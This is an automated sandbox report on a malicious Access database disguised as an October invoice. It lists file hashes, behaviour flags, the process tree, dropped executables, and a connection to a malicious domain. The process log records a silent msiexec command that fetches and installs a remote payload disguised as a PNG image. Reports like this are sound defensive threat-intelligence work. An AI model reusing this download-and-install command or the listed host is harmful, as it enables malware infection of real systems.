analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

October_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde

Full analysis: https://app.any.run/tasks/5aa89b2a-79c7-47ed-a927-818dd44e5f4b
Verdict: Malicious activity
Analysis date: March 20, 2019, 20:37:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-msaccess
File info: Microsoft Access Database
MD5:

C07D949757E439F713EB1DEEC95A4259

SHA1:

2E2A8891826F3B27F89D7BC974FF76536FE45C01

SHA256:

893957A20871E1F6E6EA6BF96C7BF5E0B79BB672404A025A99BE3E026A199034

SSDEEP:

768:plRLCFe+9BdQBrZ4oq03yfXwfksidQpcjEAZrsbVzoFrROlK0GLxt7kzR9/dw/d8:plpCArZ4vI0dN+z0lI6L34PSy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • IMPPticos.exe (PID: 2444)
      • office.exe (PID: 3952)

    • Uses Microsoft Installer as loader

      • MSACCESS.EXE (PID: 1848)

    • Unusual execution from Microsoft Office

      • MSACCESS.EXE (PID: 1848)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • expand.exe (PID: 1352)
      • msiexec.exe (PID: 2504)
      • IMPPticos.exe (PID: 2444)
      • cmd.exe (PID: 1952)

    • Starts CMD.EXE for commands execution

      • IMPPticos.exe (PID: 2444)
      • office.exe (PID: 3952)

    • Creates files in the user directory

      • MSACCESS.EXE (PID: 1848)
      • cmd.exe (PID: 1952)

  • INFO

    • Application launched itself

      • msiexec.exe (PID: 2504)

    • Reads Microsoft Office registry keys

      • MSACCESS.EXE (PID: 1848)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2504)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.accdb | Microsoft Access 2007 Database (90.4)
.pi2 | DEGAS med-res bitmap (9.5)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
11
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start msaccess.exe msiexec.exe no specs msiexec.exe msiexec.exe no specs expand.exe imppticos.exe cmd.exe no specs office.exe no specs cmd.exe no specs PhotoViewer.dll no specs cmd.exe

Process information

PID
CMD
Path
Indicators
Parent process
1848"C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE" /NOSTARTUP "C:\Users\admin\AppData\Local\Temp\October_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde" %2 %3 %4 %5 %6 %7 %8 %9C:\Program Files\Microsoft Office\Office14\MSACCESS.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Access
Exit code:
0
Version:
14.0.6024.1000
3640"C:\Windows\System32\msiexec.exe" /q /i https://jplymell.com/dmc/ImgFilePDF876356653680900897fXmfwICxiOWbsPLJpy.pngC:\Windows\System32\msiexec.exe—MSACCESS.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1603
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2504C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2744C:\Windows\system32\MsiExec.exe -Embedding 2463FC07ADB99F53121727B6B76EAAEEC:\Windows\system32\MsiExec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1352"C:\Windows\System32\expand.exe" -R files.cab -F:* filesC:\Windows\System32\expand.exe
MsiExec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
LZ Expansion Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2444"C:\Users\admin\AppData\Local\Temp\MW-a6837f0f-0629-4108-98b5-c77a733b7bca\files\IMPPticos.exe" C:\Users\admin\AppData\Local\Temp\MW-a6837f0f-0629-4108-98b5-c77a733b7bca\files\IMPPticos.exe
MsiExec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows App Certification Kit
Exit code:
0
Version:
10.0.17134.12 (WinBuild.160101.0800)
4020"C:\Windows\System32\cmd.exe" /c, "C:\Users\admin\AppData\Local\Temp\office.exe"C:\Windows\System32\cmd.exe—IMPPticos.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3952"C:\Users\admin\AppData\Local\Temp\office.exe"C:\Users\admin\AppData\Local\Temp\office.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows App Certification Kit
Version:
10.0.17134.12 (WinBuild.160101.0800)
400"C:\Windows\System32\cmd.exe" /c, "C:\Users\admin\Documents\g3oubu4v66c1jeuam3k9woif2ui8wmred67.jpg"C:\Windows\System32\cmd.exe—office.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1180C:\Windows\system32\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}C:\Windows\system32\DllHost.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
COM Surrogate
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
2 052
Read events
1 956
Write events
0
Delete events
0

Modification events

No data
Executable files
5
Suspicious files
2
Text files
26
Unknown types
5

Dropped files

PID
Process
Filename
Type
1848MSACCESS.EXEC:\Users\admin\AppData\Local\Temp\CVR8A93.tmp.cvr —
MD5:—
SHA256:—
2504msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD6A20C46560A925B.TMP —
MD5:—
SHA256:—
1352expand.exeC:\Users\admin\AppData\Local\Temp\MW-a6837f0f-0629-4108-98b5-c77a733b7bca\files\$dpx$.tmp\b62d80a418195f4e8c4bcfc628c978a7.tmp —
MD5:—
SHA256:—
2504msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:327D1430F4AA908D900C1A29677F899C
SHA256:D44266E9544F566917B8EC6CADF32D81E17FF00E01F3AEAB98D6F66594BC2628
1848MSACCESS.EXEC:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdwmdw
MD5:2DD9F69B0B833114A7A28823C16ED0C3
SHA256:A476B242A57639FD1F8107C4057E001B34D3C9CDDD52931287540B3D5425BD45
2504msiexec.exeC:\Windows\Installer\MSI911B.tmpexecutable
MD5:21936C6DE220D2792E59E82293D84386
SHA256:5758862B2085A202A61F891B9AB2C8F9F21C5548CF2F03A08927896915D03468
2504msiexec.exeC:\Windows\Installer\MSIDB65.tmp —
MD5:—
SHA256:—
2504msiexec.exeC:\Config.Msi\f97c4.rbs —
MD5:—
SHA256:—
2504msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF50EA82FB68107410.TMP —
MD5:—
SHA256:—
2744MsiExec.exeC:\Users\admin\AppData\Local\Temp\MW-a6837f0f-0629-4108-98b5-c77a733b7bca\files.cabcompressed
MD5:F0E441EACAC251259347C7CE09BD0E31
SHA256:4BB2488247C6882744B2ADC41CAA411067E99D25E90F969FB01FFEB096480A0C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2504
msiexec.exe
109.226.63.237:443
jplymell.com
Triple C Cloud Computing Ltd.
IL
unknown

DNS requests

Domain
IP
Reputation
jplymell.com
  • 109.226.63.237
malicious

Threats

No threats detected
Process
Message
MSACCESS.EXE
C:\Users\admin\AppData\Roaming\Microsoft\Access\System.mdw
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
October_Invoiceb91a6edbc0ialmb3ce5ebc15abba7fe01fda93.accde